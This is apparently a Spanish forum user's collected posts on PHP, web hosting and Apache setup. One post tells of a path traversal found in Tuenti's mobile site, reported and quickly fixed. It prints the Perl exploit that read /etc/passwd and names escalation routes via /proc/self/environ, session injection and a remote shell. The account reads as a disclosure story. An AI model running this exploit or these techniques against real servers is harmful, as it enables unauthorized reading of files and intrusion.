Mensajes

Es raro, me parece que el problema no es el fopen, que datos contienen el array $apli?

Cambien añadiria a esa lista, ajax y json... hoy dia se esta poniendo muy de moda.
También un libro sobre metologias de arquitectura y diseño.

Pues encontré la vulnerabilidad probando, estaba analizando como estaba montada tuenti y bueno salio eso.

La gravedad de este tipo de vulnerabilidades es de las mas altas ya que si no es por un sitio puede ser por otro, se podría llegar a inyectar código php desde el user-agent y /proc/self/environ, también desde las sesiones e inyectar una shell remota, mirar archivos de configuración etc...
La verdad una vez encontré la vulnerabilidad simplemente la quise reportar, porque ya sabéis como son estas empresas u.u.

En fin... que no venden de que tienen nuestros datos protegidos, pero vamos cuento chino :S.

jajaja si! es asqueroso, pero bueno eso me pasa al principio... luego ya dejo bien claro que el mantenimiento de código son los 3 primeros meses y solo por errores de programación, actualizaciones de php etc... el resto que lo paguen jajajaj

[Formato del post:]

Como se venia haciendo en estos hilos:

• Recomendando Host 2007
• Recomendando Host 2010

Hacemos otro para este año, y así tenemos información mas nueva.

Formato del post:

Empresa:
País:
Servicios:
Precios:
Ventajas:
Desventajas:
Otros datos relevantes:

URL Oficial (no afiliados o sera eliminada):

Ejemplo:

Empresa: Hospedajes MundialesHOSPEDAJES MUNDIALES
País: España y latino ametica
Servicios: Hostings, Servidores, VPS y Dominios. HOSTING, SERVIDORES, VPS, DOMINIOS
Precios: Dominios desde 5€, Hosting desde 10€.
Ventajas: Muy buenos precios.
Desventajas: Gran soporte
Otros datos relevantes: Nada relevante.

URL Oficial: http://www.url.com/

Por ultimo también podéis votar cual es el mejor hosting desde aquí.

Bueno le pase el error a diminitrix y el contacto con el encargado de seguridad, tambien se lo envié chica de elpais tecnología y ella contacto con tuenti, a las dos horas de hacerlo ya lo arreglaron.

El fallo era un path traversal que te permitía poder leer cualquier fichero del sistema(que tenga permisos claro).

Este era el exploit que utlizaba:

Código [Seleccionar] Expandir

#!/usr/bin/perl
use IO::Socket::INET;

$host = "m.tuenti.com";
$attack = "../../../../../../../etc/passwd";

my $sock = IO::Socket::INET->new( PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');

print $sock $request . "GET /?m=" . $attack ."%00 HTTP/1.1\r\n"
. "Host: " . $host ."\r\n"
. "Connection: Close\r\n\r\n";

while($line = <$sock>) {  print $line;  }



No siempre hay que subir los ficheros a la raiz del FTP, depende de donde tenga el DocumentRoot tu servidor apache.

Generalmente suele ser en la carpeta www o htdocs.
Un saludo y revisa el httpd.conf y busca el parametro "DocumentRoot".

Un saludo.

Si vas a poner mas hilos con videotutoriales, lo mejores es que los pongas en el mismo hilo editando o bien como respuesta para asi no saturar el foro.

Un saludo!

Todo es descifrable Graphixx, es una lastima...

Sobre todo cuando vendes una aplicación, meten el dedito ellos toquetando código y encima te llaman para solucionar el problema..

Puede que sea la versión de php q tengas en cada servidor.